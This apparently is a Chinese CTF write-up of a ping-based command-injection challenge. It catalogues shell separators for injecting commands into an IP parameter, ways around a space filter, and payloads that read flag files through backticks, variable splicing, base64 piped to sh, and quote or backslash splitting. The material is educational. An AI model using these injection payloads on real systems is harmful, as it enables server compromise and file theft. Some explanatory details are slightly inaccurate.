前言

之前没总结过关于命令执行的绕过姿势,借着今天做的这个命令执行的题目来总结一下。

先看题目

题目

题目很单一,目的就是为了让我们通过参数传入内容来执行代码。因为题目是与ping有关,当我们输入127.0.0.1时,它会进行ping命令操作。

一般根据ping命令相关的命令执行,正常情况有五种写法

127.0.0.1&&+code  只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code  &表示将任务置于后台执行
127.0.0.1||+code  只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code  | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code  多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

而本题就是要用到第五种。输入127.0.0.1;whoami 它会回显出用户名www-data,说明命令执行成功。接着用ls命令查看当前目录文件,输入命令127.0.0.1;ls

发现当前目录下有flag.php和index.php。我们试着读取index.php文件的源码,看看它都过滤了什么。试了很多次,发现你过滤了空格。

绕过空格

其实我们可以用一些字符来代替空格,windows系统与linux系统有些差异。

Windows

type.\flag.txt
type,flag.txt
echo,123456

linux

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat$IFS$1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

其实windows系统的命令不太常用,赛题中也很少出现。这题也不例外。这道题中我们可以使用

$IFS$1来代替空格,使用cat命令来查看index.php文件的源码。

发现它过滤了很多东西 包括一些字符还有整个flag。

内联执行

在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用cat$IFS$1`ls`  这个命令来输出flag了。

查看源代码内容就可以找到flag。

 变量拼接

看了师傅们的WP后,知道可以使用变量拼接的方法来绕过flag这个关键字。

让变量a=ag,让变量b=fl,payload:

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

变量拼接也是绕过正则过滤的一个有效的方法。

Base64编码

正如我们可以将过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。

payload:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

管道符|是直接执行后面的语句。

单双引号绕过

虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如

ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。

反斜线绕过

大同小异

ca\t fl\ag

$1、$2等和 $@绕过

大概的形式就是l$1s   ca$2t fl$@ag等等。

这种好像是shell编码的相关知识,目前还不太理解其原理。等以后再慢慢弄懂。

结语

我总结的只是冰山一角,更多绕过姿势等以后再慢慢总结。

膜拜大佬:命令执行漏洞利用及绕过方式总结 - ghtwf01 - ghtwf01

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐